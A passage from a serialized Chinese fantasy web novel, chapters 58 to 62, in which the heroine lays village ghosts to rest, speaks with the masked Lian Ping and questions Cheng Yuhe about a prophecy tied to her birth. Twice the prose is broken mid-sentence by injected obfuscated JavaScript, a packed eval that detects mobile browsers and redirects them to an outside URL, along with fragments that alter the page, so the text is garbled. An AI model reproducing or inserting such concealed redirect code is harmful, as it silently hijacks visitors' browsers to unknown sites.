“即使是流水,也会被水中的暗礁或是渚汀分开,聚散有时,这是自古以来天道运行的规律。”程希夷听出他语气中的低落,主动蹭了蹭他的脖颈,蹭得他脖子痒痒的,“我并非是急于从你身边离开,只是我总有一种预感,我和你相遇之后遇到的这一切绝非偶然,或是他人的干预,或是天道的暗示,我越来越觉得只有我才能结束这一切。” “为什么是你?”杜文焕环抱她的手紧了紧。 “在幻境中,天君向我说了一个预言。”程希夷向他简要说明了这个预言,又说,“他并不是个值得相信的人,但我觉得这个预言不似作假。” 杜文焕精准地捕捉到这个预言里的时间,“五十年后的初春?可离初春也只有六个月,天末国和维咸国的战争从有记载开始了,短短六个月竟会发生如此多的变化么?” “这一点我也很疑惑。”程希夷见他并未怀疑自己说的话,只是提出对预言的疑惑,方才的惴惴不安也消失了,“可这预言冥冥中告诉我必须去天末国一趟,那里是巫术的发源地,在那里我会找到答案。” “巫师谶语一向是迷惑人心的无稽之谈,我担心你去了那里之后,他们对你不利。” 程希夷笑了笑,“他们如此重视我,不远千里来找我,必定有重要的缘由。我也想知道我命运的来龙去脉。” “我同你一块去。”见她如此坚决,杜文焕也明白该解决的事逃避是没有用的。主动去找那些人说不定会有机会占据先机。 程希夷却摇了摇头,“杜大人,你是朝廷命官,怎么有这种自由随我前往?若说要你抛去其他只为帮我寻找命运的起点,那我良心也会不安的。我同你,即使不在一处,也会紧紧相连,因为还有那枚银锁啊。” 银锁?他倒是忘了。 县衙的门口,一辆马车早已等候多时。 杜文焕将她抱进车厢,又拿了个软垫替她垫好,方才幽怨地说:“可银锁又不能传讯,你要是真去了天末国,我一时也不能知你下落。莫非要我请奏皇帝出使他国来找你?” “哈哈哈,不会。”程希夷扑哧一声笑了,“这只是个构想嘛,我也不一定会去,去的话肯定同你商量好的。” “既如此,这次你可不能再骗人。”杜文焕拾起她的手,递到嘴边,闭眼珍之又珍地轻吻了一口,“我真的会难过。” “不会的,我不会骗你了。”程希夷扑进他怀中,同样珍重地许下承诺。 59. 棋子 次日,程希夷打算去大柳树村处理后山那块平地,以免以后的祸患。 外头下起了毛毛小雨,冷意从门缝钻进,让屋子里的温度也降了下来,她不自觉裹紧身上的衣裳。 出房门前,小春又从房里拿了件袍子给她披上。 “我同你一块去。”一同用早膳时,杜文焕如是说。 程希夷摇了摇头,啃了一口白馒头,席上还有一些精致的糕点,都是驿馆的厨房特意做的,但她早上不习惯吃这些甜腻的东西,于是厨房又蒸了几个馒头。 “杜大人,方才不是来人说官衙那边还有些事等你处理么?” 杜文焕眼神暗了暗,“的确,官衙还有几份上奏朝廷的文书需要写,我得再去一趟。” 他又说:“那我派人同你去,那村子还不知有没有折回去的巫师,小心为上。” “我知道的。”程希夷笑着应下。 她用毕早膳,又用帕子擦了擦嘴角,站起身,拍了拍衣裙,小春说外头已经备好车马,只待她去。 杜文焕吩咐身边的亲近护卫载松荣保护程希夷,他之前一直留在驿馆。 载松荣是从之前杜文焕偶然遇上的从南方来的奴隶,他当时逃离奴隶贩子之后惊扰了街上的车驾,刚好跑到杜文焕所乘车马的脚下。 见他在闹市逃跑都如游鱼一般轻快,看起来身手不错,被奴隶贩子抓住后,杜文焕将他买下后收入府中做护卫,兼处理府中琐事。 他功夫不错,为人又忠诚,由他保护程希夷倒也让人放心。 “小人定会保护姑娘,万死不辞!”载松荣抱拳行礼,郑重应下,他知道程姑娘对巡抚大人有多重要,而且他也佩服这个有勇有谋的奇女子。 程希夷与小春登上马车,刚坐下,车帘却被人从外掀开一角,是杜文焕。 “要小心。” “好。”程希夷冲他露出一个笑容,不知什么时候,杜大人也如此啰嗦了。 杜文焕放下车帘,转身去了另一辆马车,“去县衙罢。” “是。” “驾!”随着车夫的一声呵,两辆马车往不同方向徐徐行驶而去。 大柳树村,后山坟墓。 程希夷再度踏入这里时,那些鬼魂的怨气已经消散了许多。 其他人在不远处的离平地不远的地方等候,只有她一个人来到这个平地。 用从村口捡来的木板和随地可见的石头草草搭了个法坛,她在上放了几张符纸和一把桃木剑,这些东西是来的时候让小春帮忙买的。 接下来只要送剩下的这些鬼魂往生,镇住怨气就行了。 在动手之前,她要告知这些鬼魂,若它们自己往生,怨气消散,那也不用多费这个事。 “你们如今怎么都不出来了,之前不是还让我帮你们杀了那些村民么?”她的眼神扫过荒芜的平地,因为怨气,那上面一棵草也没有,隐隐有形体扭曲的魂魄从地底下钻出。 它们慢慢在程希夷身边聚集,却一个也不敢上去。 “他们都还没死。”有一只胆大的鬼魂开口了,它闪着幽蓝的光亮,看起来魂魄比其他人更强些。 “他们已经下狱,不日将会被处死。你知道,在维咸国的禁巫令之下,私通巫师谋害良家女子将会面临很严厉的刑罚。” 程希夷冷冷淡淡地开口:“至于你们,心愿已了,最好及时转世投胎,也好再世为人,这里也没什么值得你们怨恨的了。” “我们可以走,”那只鬼魂在空中飘了一圈,似乎在听同伴们的意见,“只是这个村庄毕竟是生我们养我们的地方,我们的根在这里,不想这么草草被埋在地下,连个姓名都不曾留。” 程希夷挑眉,“你们想要如何?” “立一块碑,记下我们的名字,告诉后人这里曾经发生过什么。” “不行,”程希夷断然拒绝,“此事我不能定,况且巡抚大人明日将离开这里,替你们立碑需要上奏朝廷,朝廷不会容许此种丑事留存。” 鬼魂沉吟许久,应当是在思考,半晌它说:“可我们就这么离开不甘心。” “你们既然有转世投胎的机会,应当珍惜。”程希夷见天上的雨从毛毛小雨变得急促起来,便撑开带来的伞,又将法坛上的黄符收入袖中。 青色的油纸伞遮住她略显单薄的身影,雨点打在伞面上,撞出略带沉闷的声响。 鬼魂们聚在一处,似是又商量了一会。 “我们答应你。”还是那个被推出来的鬼魂说的,“毕竟你帮了我们,我们也不想为难你。” 为难她?程希夷不置可否地笑了笑,它们要是不答应,她就打算直接动手了。 说实话,她并不觉得它们可以为难她。 只听那鬼魂又说:“小姑娘,你的确有资格劝我们投胎。你很强,但你的魂魄已经千疮百孔,恐怕也没有转世投胎的机会了罢?” “呵,这与你们何干?”也许是因为天气愈发阴冷,寒气从袖口钻进,让人身上发冷,程希夷没什么心情同它们啰嗦,“既然决定自己去投胎,那快走罢,早了或许还可以谋个投胎的好位置。” 眼前的鬼魂依言一个又一个化作点点光芒消失在雨中,只有那只一直同她说话的鬼魂留在最后。 “小姑娘,”它走之前说,“你的魂魄如此破碎,并不一定是坏事。它就像是天道无意中烧制的一件意料之外的瓷器,尽管并不符合常理,但却足够独特,这股力量甚至超脱于既定的命运,以后或许能派上大用场。” 程希夷听它这没头没尾的话哑然失笑,“借你吉言罢。” “还有,或许你没发现,”那只鬼魂说,“你的魂魄比你第一次见我们时要完整了,是碰上什么人了吗?” “除了那些巫师,我也没碰上什么新鲜人。”程希夷没感觉自己魂魄发生了变化,“还是快走罢。” 鬼魂没有再多言,瞬间消失在雨幕中。 程希夷见一切完结,没来得及用上自己准 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问出这个问题,她就没指望得到回答。 “只要敢付出代价,没有什么不能实现的。”孙恒轻笑了一声,说出一句意味不明的话。 “我不会回去。”程希夷直接说出她的决定,她可不想成为被摆布的棋子,“你是她的人,要当棋子,你去当,我可不会听她的命令。” “我可不是她的人,”孙恒纠正她,“我只是替她办事而已。” “有什么区别吗?” “有区别,我办事可不是为了她。”孙恒看向远处那一层又一层掩藏在雨幕中的山峦,眼神也变得悠远,似乎陷入了什么久远的回忆。 不过他很快回过神,笑着对程希夷说:“但我也要为她说一句公道话,你说不想成为她的棋子。可你有没有想过,她并不是让你成为一枚听话的棋子,否则就不会让你到这里来历练了。” 程希夷一时无言,的确是这样,程玉和并没有强迫她留下,但就是这种莫名其妙的自由更让她疑惑,“那她想要我做什么?” 孙恒看着她,说:“我想你心里也已经有了答案。” “她是让我来下这盘棋。”孙恒说到这,程希夷不明白也得明白了,“可为什么她什么都不说?” “她这个人心思缜密,而且一旦决定做什么事,只要是她自己可以一个人承担的,绝不会朝外说。除非你已经猜了个八九不离十,证明了你的能力,不然她认为你不如不知道,等她替你安排好。” 说到这,孙恒冷笑了一声,但显然不是对程希夷,而是对某个不在场的人,“她把别人当蠢货,把自己当聪明人。但聪明反被聪明误,严防死守也掩藏不住想探究的心。” 程希夷觉得他说着说着便不是在讲这件事,反而好像是在讲另一件让他至今仍不满的陈年往事,“你是指什么,她曾经做过什么吗?” 60. 雨幕 孙恒回过神,这是他今日第二次在别人面前想起那陈旧得快要发霉的往事了,但一提到那个人,这些回忆就止不住,“那都是很久之前的事了,也不能算她的错。不过你经过大柳树村这一遭,已经充分证明自己的能力,她也会将一切都告诉你的。” “我会去见她一面,”程希夷抿了抿唇,让步了,“若她将一切告诉我,或许我可以考虑,但她要是什么都不说,我恐怕就要让你们失望了。” “好好好。”见她答应,孙恒也当完成了自己的任务,立刻喜笑颜开,又问,“那么你是打算同那巡抚回去么?” 程希夷点点头。 孙恒笑着调侃她:“哎呀呀,小年轻果然有活力,不过——” 他的语气骤然沉下来,“她让我给你带个话,她又重新用九曜算命术推算了一下,杜文焕的命格有异,最好别再接近他。” “有异?”程希夷皱起眉头,“哪里不对?” “哎,你回去问问她呗。”孙恒转身就要走,“话我已经说完了,其他的我也不知道。” 走了几步,他又回头,脸上的笑意也被郑重的神色取代,他说:“若你真的成了那个预言中的人,有件事我想拜托你,不是为难你的事——” 说到后面,他的声音低了下来。 见他态度转变如此之快,程希夷好奇地问:“什么事?” “有个人我希望你能救她出来。” 程希夷不解:“你的武功这么好,为什么自己不去救?” 孙恒叹了口气,“有的人被禁锢是身体被禁锢,但有的人却是心被禁锢,前者很容易救出,但后者就没那么简单了。” “你说的这个人在哪?” “她在京城唐府里,”孙恒眸子里的光闪了闪,“待到时机成熟,请你救她,不过也许她会自己出来,谁知道呢。总之,请你留心。” 他的语气莫名变得客气,程希夷心里奇怪,但她不打算轻易答应这么一件没头没尾的事,“你跟程玉和一样,说话总喜欢叫人费劲去猜,就算是要我帮忙,也得告诉我这人的姓名,并且是男子还是女子罢。” “自然是女子,”孙恒沉吟了一会,“至于她的名字,恐怕我不能告诉你,只能告诉你她姓''楚''。” “楚?”程希夷眯起眼睛,这个姓可不寻常,它牵动了她的一些回忆,“你说的这个人是不是与巫术案的楚国公有关。” 孙恒心头一惊:“你知道巫术案?” “看样子的确是了。”程希夷见他脸上惊愕的表情,笑了笑,“楚国公只有一子一女,长子死在巫术案里,女儿嫁了他人,留有一子。这都是程玉和告诉我的。本来这世上同姓的人也不少,但在京城,我第一个想到的就是楚国公,而且,我感觉你们与巫术案有着千丝万缕的联系。” 孙恒怔怔地说:“她还真是该说的不说,不该说的倒是全给你讲了。” “莫非你要救的这人是楚国公的女儿?”程希夷从前听时也一知半解,幸而她记性好,对程玉和的话过耳不忘,没想到在这儿居然牵扯出来了。 事到如今,孙恒也不瞒着了,也没有瞒着的必要,“是她。她姓楚,名风絮,是楚国公的小女,后嫁与唐府公子为妻,育有一子。” “听起来是高门夫人,尽管家族败落,但唐府也是富贵人家。”程希夷将他打量一眼,“她现在应当是养尊处优的贵妇人,与你似乎并无多大关系。” 孙恒听出她语气中的怀疑,冷笑一声,“程姑娘,我既不打听你的事,我的事你也别知道太多罢。” “而且,”他话头一转,“若你有心,等你去了唐府就知道了。” 程希夷漠然看了他一眼,别人的秘密她的确没有多大兴趣,“我知道了。” “那就先多谢程姑娘。”孙恒向她郑重地行了个抱拳礼。 程希夷忽然说:“既然我答应你这件事,你能回答我一个问题吗?” “请说。” “为什么你们这么相信那个预言?”程希夷问出心底的疑惑,从她碰到这些人,知道有个预言存在时,这个疑问就已经在她心中渐渐发芽,知道如今知晓这个预言的全貌。 远处的山峦蒙上一层又雨雾,偶尔露出一点青色,很快又被缭绕的雾气笼盖。 淅淅沥沥的雨点打湿了裙摆,浸透进她的软鞋里,她却毫不在意,眸子安静平淡,她已经接受这个预言的存在。 孙恒轻笑一声,望着雨幕,似乎有无限惆怅,“也许是因为我们都需要一个盼头罢,一个改变这世道的盼头。” “那为什么是我,我只是个平凡的女子,而且我一无所知。”这是她一直都不明白的,为什么是她。 “如果非得说一个理由的话,这是既定的命运,”孙恒看向她,眼眸里带着怜悯,“命运在你出生之前就已经开始运转,这不是你可以选择的。” 程希夷眼眸垂下,这个回答在她意料之中,“我问完了,孙大哥请便罢。” “告辞。” 孙恒点点头,往前走了几步,又想起什么,折回来对她笑了笑,说:“你也别太低落,命运的事,谁知道呢。我的名字并非孙恒——” 他在一旁湿哒哒的泥土里拾起一根树枝,又在上面划了两个字,把树枝一扔,朝程希夷诚心低头作揖,“在下连萍,本来我也以为你只是一个十七岁的不懂事的小姑娘。可经过这么多事,你还如此从容,我现在相信你的确是预言中的那个人。我想以后你会有用得上我的地方的,在下告辞了。” 程希夷也回了一礼,“慢走。” “还有,也许在下并没有这个立场说这句话。”连萍顿了顿,说,“但对我们这种被困在不幸命运里的人来说,感情往往是一种负担。” 程希夷知道他指的是什么,但在这事上她不喜欢听他人指点,礼貌克制地微微颔首,“多谢告知。” 连萍立刻明白了她的意思,没再多说,正要离开,却被一声厉斥制住脚步。 “你是什么人!” 二人齐齐往前一看,载松荣同小春一块朝这边飞奔而来。 原来他们见程希夷久久不回,又听到这边有谈话声,以为她被巫师绊住了脚步,急忙过来一瞧,刚好就看见连萍在这。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13890007|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 载松荣抽出腰间大刀,劈开雨幕,直朝连萍命门而来,却被轻松躲开。 连萍毫不示弱,身体微微一侧,借力往他手腕一劈,载松荣吃痛差点扔了兵器,连萍却无意伤他,连退几步,身形一闪,瞬间消失在雨幕中。 载松荣还要再追,却被程希夷阻止:“且慢,他没带兵器,只是同我说几句话而已,没有恶意。” “您没事吧?”载松荣收了刀,问她。 “没事,这雨下得愈发急,你身上都湿了。”程希夷摇摇头,将手中的伞递给他,小春急忙过来将她拢到自己伞下。 “难为你们来找我,我们回去罢。” 载松荣与小春点点头,护着程希夷回了马车上。 在马车上,小春用手帕帮她擦了擦被雨水打湿的额发,又帮她擦拭冰凉的手掌,“您的手好凉,我们快回去罢。您的事办完了么?” “办完了。”程希夷本在看车外那连绵不绝的秋雨,听到她的问题,回头想给小春一个笑容,好让她能安心一些,却发现往日最常做的事也做不到——她笑不出来。 她尝试了几次,最终还是放弃,拍了拍小春的手让她放心,转头不再看车外的风景,而是在车里闭目养神。 马车颠簸着向前,路过泥洼时溅起许多泥点附着在车轴上,而车轴浑然不觉,依旧碾过一个又一个泥洼。 细密的秋雨打在车帷上,偶尔几点秋雨越过帷幕,渗入车内的木板,透出黑沉沉的水印。 大柳树村村口,方才避战的连萍站在雨中看着村口那棵大柳树。 这棵柳树已有百年,大柳树村之名由此而来,而它也抵不住这秋意萧瑟,层层柳枝垂下,枯黄的柳叶被打落了一地,空留光秃秃的柳枝。 他抬手撕开脸上附着许久的面具,露出面具下坚毅俊朗却饱经风霜的面容。 他的手抚上那棵老柳树纵横交错的树皮,他已经不年轻了,这棵柳树也已经老了。 “''飞云冉冉蘅皋暮,彩笔新题断肠句。试问闲愁都几许?一川烟草,满城风絮,梅子黄时雨'',”他自言自语,“春雨已经能勾起人的愁绪,没想到秋雨更凉,凉到了骨子里。” 他望向远处京城的方向,眼中倒映的是前路的山川,心里盛着的却是一个许久未见的人,“待到来年春时,柳絮纷飞,你是否也能如柳絮一样飞出那院墙,放过自己呢?” 这是不可能的,她们的计划是不死不休,真是痴人。 他也是痴人,不然就不会帮她,帮她寻找那些巫术典籍,看她一点点被血契蚕食,只为弥补当年的过错。 而那个被称为预言中的小姑娘不过十七岁,就要承担那些命运。 顺从命运,成为预言的祭品,也许这就是皆大欢喜的结局了。 可这终究对她不公平,而且他还请求她答应了一件事。 他也有私心,若她最后活下来了,可能会因为这个诺言保楚风絮一命,若没有活下来,这一切自然无从说起,这也是无可奈何的。 抱歉了。连萍望着马车驶去的方向在心里道了歉,随即扭头往另一个方向走去。 61. 京城 九月初,秋意萧瑟,寒风阵阵,京城的人家都已换了秋衣,畏寒的甚至在外衫里头套了好几层衣服。 东街的白虎巷,皇帝赏赐的宅院内,一群丫鬟小厮正在洒扫庭院。 这时,从一道小径处来了一个清丽女子,她梳着双环髻,用一根蓝色发带绑着,身上也是同其他人一样的丫鬟衣裳,可即使衣着朴素,也难掩她身上那股不流于世俗的灵气。 她轻轻巧巧地走到中庭,之前的脚伤已经完全康复,此刻的她又是生龙活虎一个人,只是眉间多了些许愁绪,举止也沉稳了许多。 “程姐姐,你这是要去哪?”见到来人,刚指挥他们把花盆摆好的小春问。 数日前,她们同巡抚大人来到这宅子,程希夷嘱咐说京城耳目众多,不可暴露她从前的女道士身份和在大柳树村的所为,只把她当一普通侍女就好。 小春自从知道大柳树村案件的全貌,对程姑娘除了敬爱就是佩服,自然没有不听的。 程希夷休息了几天,回京后又请医师时时换药,脚已经好得差不多,闷在这宅子里她快受不了了,今日是回来之后第一次出门。 她凑近说:“今日陛下寿诞,晚些杜大人要去皇宫赴宴,我要去买些东西准备。” 小春点点头,又问:“要我陪您去吗?” 程希夷摇了摇头,笑道:“既然叫我程姐姐还用敬语啊。” 小春眼神转到脚边那块砖上,低声辩解:“一时改不过来,而且只是一时的,在我心里,您是姐姐,更是主子。” 她是在赤县时,杜文焕临时买来伺候程希夷的。 家中穷苦,原本当奴婢也只是为了混口饭吃,但后来知道大柳树村那些事,方知这世道还有像杜大人那样为民做主的好官,也有像程希夷这样待奴婢也温和平等的好人。 如果可以,她想一直这么伺候他们,也许是因为想在这乱世中渴求一点安稳罢。 “傻姑娘,”程希夷似乎看出了她的心思,拍拍她的手,露出一个让人安心的微笑和嘴角浅浅的笑靥,“我只是出去买点东西,哪里需要人陪,一会儿就回来了。” “好,您早去早回。” 程希夷应下,出了宅子,却不是往集市走,而是转道往一小巷走去。 程宅,毫不起眼的木门前,时隔半月,程希夷再一次站到了这里。 她本不愿来,但她知道有些事不是逃避就可以躲过去的。 与其让他人推着自己,不如主动去接受,了解得更多些,也就对自己的命运有更多的掌控。 想到这,她抬起头,轻轻敲了敲陈旧的木门,门吱呀一声就开了,仿佛早已等待她许久。 她先是一愣,随即一笑,了然地踏入这座宅院。 程玉和连她去赤县大柳树村都能料到,还有什么是不知道的。 待她站到程玉和房门前,都没有遇到任何一人,连程玉和身边那两个丫鬟也不见了。 她试探着喊了一声:“玉和姐姐?” 没有声音,她狐疑地推开房门,扑面而来一股浅淡的药味,然后是比屋外更低的温度。 可房里依旧空无一人。 程希夷环视一圈,屋内器具仍然十分干净整齐,不像是许久未曾住人,也不像是突然搬离。 那她们去哪了? 房中陈设十分简单,博古架上摆着一个青瓷瓶,瓶中插着一支半开的玉兰花,瓶中的水仍然干净,应当是刚换的。 梨木牙床上的铺设整整齐齐,青色纱帐四角各自悬挂一个防蚊虫的香囊。 床边的墙上挂着几幅字画,程希夷走过去来,左不过是些山水花鸟之类的,但其中有一幅画吸引了她的注意。 但凡挂在墙上供人欣赏的画,画的大都是一些寓意好的物事,可那上面画的却是一块雪地上的碎玉,从碎玉断裂处渗出丝丝血迹,染红了雪地。 那幅画下,摆着一副棋盘,程希夷认出它就是她离京前同程玉和对弈时的那副棋盘,然而此时那上面却无一子。 她一向不喜对弈,可鬼使神差地,她执起一黑子,落在棋盘之上。 “你果然来了。”在那枚暖玉棋子落在棋盘上撞出声响的那一刻,从她身后传来一个熟悉的声音,如自亘古来的一阵寒风,让她身上起了鸡皮疙瘩。 她回头一看,披着狐裘的程玉和站在她身后,眼睛上仍蒙着一块白布,就这么悄无声息地站在她身后,也不知是什么时候来的。 “当然,如您所料。”程希夷不惧不避,慢慢走过来,自然地扶着她的手,“既然您的丫鬟不在,我扶您坐着罢。” 程玉和听出她的声音十分平静,仿佛半个月前在这张牙舞爪,不愿被他人支配命运的程希夷消失不见。 良久,程玉和感叹一声:“不过短短半月,你长大了。成长得如此之快,你倒是真让我惊讶。” 程希夷低低浅笑一声,可这笑声中蕴藏着无限悲凉,“也许罢,人的寿命正常来算八十岁,从不懂事到懂事最多也不过二三十年,若寿命缩短到半年,短短半月就成长,也算正常。” “你果然知道了那个预言。”程玉和听出她的弦外之音,“你回来,是要问我什么?” “那个预言是真的吗?''有一人生于有德之国,降生时有景星卿云之兆,鬼魂避让,神明同行。若此国君主丧失德行有违天意,则迟早丧于她之手。她会在另一国助其君主一统两国,结束战争,庇护四方。而这个时间,就是五十年后的冬末'',也就是今年冬末。”程希夷扶她在棋盘旁坐下后,自己也就顺势坐在她对面。 “是。”程玉和点点头。 “我真的就是那个人,你们是怎么知道的?”程希夷的眼神如一把利剑,不解、怨恨、怀疑,直直看向对面那个清冷的女子。 透过眼前覆盖的那层白布,程玉和似乎也能感知到面前的人锐利的眼神,但她依旧平和安定地坐在那,就像再锋利的剑也劈不断至柔的水流。 她轻轻 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原本大祭司交代他们,只取长生不老的宝卷,可那剩下两张宝卷亦是不可多得的宝贝。有些人认为他们经历了如此多的考验,若就只拿一卷回去实在对不起这一路付出的辛苦。 而有些人则认为人不可贪心,若贪多,说不定连剩下那本该得到的一卷都会失去。 就在这时,大祭司的大弟子说,尽管师命难违,但他们找宝卷就是为了造福百姓,创造一个更好的国度,有了更强的力量才能实现这个目标。 碍于他是众人实力最强的,又是大弟子,剩下的人也只好同意。但他们要将全部宝卷带离时,岛上却刮起一阵风,这阵风迷乱了他们的视野和心智,让他们陷入幻境中。 最后只有一半的人挣脱了幻境,而大弟子和小师妹在破解幻境时意外得到了一个无法打开的奇怪盒子。 等他们离开仙山回到天末国,大祭司虽知道他们不听劝告将全部宝卷带回,但也无可奈何。 按照宝卷上的记载,大弟子开始收集材料,夜以继日地炼丹,但练出来的药并没有用。 某次他炼药再一次失败,打翻了丹药房的所有材料,破碎的瓷器划伤了他的手,鲜血滴在了那个从仙山带回来的盒子上。 奇异的事情发生了。 盒子缓缓打开,里面是一颗药,一枚龟甲,还有一颗褐色的种子。 在盒子内侧,刻着这枚丹药就是长生不老药,而龟甲可卜算一次未知之事,只有那颗种子没有任何记载。 大弟子将所有对农作物有了解的人找来,并翻阅能找到的所有典籍,才知道这是一味普通药草的种子,并无特别之处。 后来,那块龟甲卜算出那个预言。至于那枚种子,被大弟子传给了他的徒弟,楚氏一族的一个医女。 再后来,这枚种子被这个医女用在京城一位侍郎的夫人身上,让她顺利生下一个粉雕玉琢的女儿,取名‘陆卿云’。” 62. 谜面 程希夷听完,久久没有说话。 “还有什么要问的吗?”程玉和听耳边没有声音,主动开口问。 程希夷知晓自己的来路,一时缓不过神,只好随意问了个问题:“那枚长生不老药去哪里了?” “给大祭司服用了。”程玉和听她这个问题问得很敷衍,但也还是回答了,“不过长生不老之术终是妄谈,大祭司没活几年就去世了。” 程希夷点点头,又将她上下打量了一眼,狐疑地问:“你是怎么知道得这么清楚的?其中一些细节,非亲历者不知晓。可你看起来不过二十余岁,也不可能是当初去仙山的那几人。” “呵,自然是有人告诉我的,不过恕我不能告诉你是谁。” “是我师尊对吗?”程希夷默然从袖中拿出一块衣袍的碎片,那是从天君的画卷中得到的,她将这块衣袍的碎片递到程玉和手里。 程玉和眼睛看不见,只用手摸了摸上头的材质,只是一块不错的布料罢了,没什么特别。 “这块碎布有什么特别的?” “我在幻境里,感应到它残存的记忆,里头的声音是我师尊的声音。” “仅凭这个就断定告诉我这些事的人是你师尊?”程玉和嗤笑一声,“真说不上你是聪明还是武断了。” “当然不仅如此,”即使面对她的嘲讽,程希夷仍然面色不改,“在天君为我设置的幻境里,我看到了很多东西。而今你又将当初仙山一事告诉我,我便有了推测。找我的不会是无缘无故的人,一定是与当年的事有牵连的人。” “你说的推测,仅仅是这个?”程玉和失望地轻叹一声。 程希夷没理会她,继续说:“而最有牵连的,就是那从仙山回来的几个人。他们当年若二三十岁,现在也不过七八十。而这些人又都懂得些巫术,如果再以养生之道加以保养,可能看起来也就四五十,这与我师尊看起来的年岁差不多。 尽管我也没有看清天君的模样,但听他的声音,也是个垂暮之年的老人了。天君创建的画卷中,有个人我十分在意。我在其中见到了大祭司,和他的大弟子明澄。那个叫明澄的人,对寻找仙山宝卷,改变这世道非常热衷,而且他又知道那么多的事,年纪又符合,恐怕他就是天君。” “这推测倒是有点意思,”程玉和来了兴趣,“还有么?” 程希夷深深看了她一眼,“我的师尊一定在谋划着什么,打算同天君对抗,所以她将那些事都告诉你,让你替她布局。” 程玉和却摇了摇头,“我并不认识你的师尊,至于告诉我这些事的人,到底是不是她,我也不知。我只同她见过两次,一次是十年前,还有一次,就是你来京城前几日。” “你十年前就见过她?”程希夷讶异地站起身,这不可能,难道十年前程玉和就开始下这盘棋了?可她那时候应当只是个小姑娘而已。 “这有什么可惊讶的。”程玉和也站起身,“我今日回答你的够多了。下次你来时再同我对弈一局罢,若你赢了,我便将这棋局交到你手上。不然,你恐怕只能一直当我的棋子了。” 程希夷还想再说什么,在门外候着的丫鬟青黛已经走了过来,将一散发着浓重药味的香囊塞到程玉和手中,又对程希夷说:“请回罢,大小姐今天劳神够多了。” “在走之前,还有一事想请问你,”程希夷扯住她的狐裘一角,语气变成了请求,“连萍说你推算杜文焕命格有异,到底怎么回事?” “咳咳,”程玉和将药香囊系在腰间,浓厚的药味瞬间灌满整个狐裘,“此人命中有大劫,十五岁那年正值火曜之年,犯口舌、疾病,可却平安度过,十七岁那年逢月曜,本应加官进爵,所作通达,却被剥离中枢,外派为县尉。如此种种,不符合他的命数,所以古怪。我也曾好奇为何他的血对你有用,但现在看来,或许是巧合罢。不过你要延长寿命,修补魂魄,他的血有大用处。” 程希夷喃喃自语:“喝了他的血我就能延长寿命,那我不就变成怪物了么?” 程玉和耳力敏锐,隔得又近,自然听到了她的话,“这就交由你自己衡量罢,说是怪物,只不过是普通人称呼与自己不同的他物罢了。一点鲜血而已,若他真的在意你,不会推辞,若他并不在意你,别说是鲜血,便是更简单的东西,他也不会愿意拿出。” “我看过你的那些书,说是一点鲜血,其实也是会损害他的寿命的罢。”程希夷眸光闪闪,一眼识破她隐藏在词句中的意思,但不欲同她分辨,转身就要离开,“那我先走了。” “嗯。”程玉和微微颔首,却在她快踏出门槛时叫住她,“住在一个男子家终归不好,回家罢,你也知道,我不会伤害你。” 程希夷停住脚步,却没有回头,“等您告诉我您究竟是谁的时候,我就会回来。我可不想当被困在迷宫的小老鼠,仍由你摆布。” “谜面已摆在台上,等待你揭晓谜底。”程玉和丢下这句话,而程希夷已走出了房门。 出了程宅,程希夷深深呼出一口气,顿感轻松。 每次同程玉和说话,就像是在棋盘的另一侧,破解她的谜语,谨防她布下陷阱,所以每次都会很累很累。 她不喜欢这种被套上枷锁的感觉,在站在宅子外望着远处那一片湛蓝的天空,难得有了几分思索:布下这盘棋局的程玉和,身上到底套了几层枷锁,而这些枷锁,又是谁给她的呢? 转了几道巷子,程希夷在东街的商铺买了些点心,打算回去分给杜府的下人吃。 她现在身上的银钱都是预支的工钱,头一个月的二两已经还给了小春,回来之后养伤吃药又花去一大笔。 欠的钱已经要到明年才能还清了,尽管杜大人没说什么,但他是个清官,估计一年的俸禄也就一百两,养着府上的奴仆已是勉强,若她再白吃白喝,岂不是要把他吃空了。 所以她打算赚点钱。 可去哪赚呢? 程希夷叹气,想干老本行,替人捉鬼驱邪,可在天子脚下搞这些神神叨叨的东西,说不定会被人诬陷是巫师,到时候还要劳烦杜大人将她捞出,这可不好。 替人算命占卜?惭愧惭愧,她的卜算之术比较一般,倒不是说她懒惰不肯学,只是她占卜不准。 这也是个怪事,在山上时,她对占卜很有兴趣,但不论怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13967784|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,占卜出的东西都是乱的,竟比不过平时一点都没学,只是在师尊快考核时临时抱佛脚的那些师兄师姐。 所以后来,她也就放弃了。 想到这,程希夷不禁想望天长叹,难道就没有我可以干的活了么? 感叹归感叹,还是得早些回去,今日要随杜大人去皇宫赴宴,她还从没去过皇宫,正好长长见识。 更重要的是,大柳树村遇到的那一伙巫师作为天末国的使臣来京觐见,她也想知道不用官员而用巫师,他们到底为的是什么。 等她回到杜家宅院时,小春已经在门口等了她一会了。 见她回来,小春忙迎上去说:“程姐姐,大人刚回来了,问您去哪了。我说去外头逛逛,一会就回,大人好像有些什么事想同您说,快去看看罢!” “好。”程希夷将手中的篮子交给她,又让她将点心给众仆役发下去,自己去了杜文焕的书房。 走过长廊,越过月洞门,便来到鹤林轩,这是杜文焕的书房,门口牌匾上的几个字也是他亲自提的。 门口,随从载松荣在外守着,见她来了,神情一松,指了指里头,表明杜文焕在里面。 程希夷会意,敲了敲门,里头穿出一声轻响,像是毛笔的笔杆撞在砚台上的声音。 “进来罢。”里头的人说。 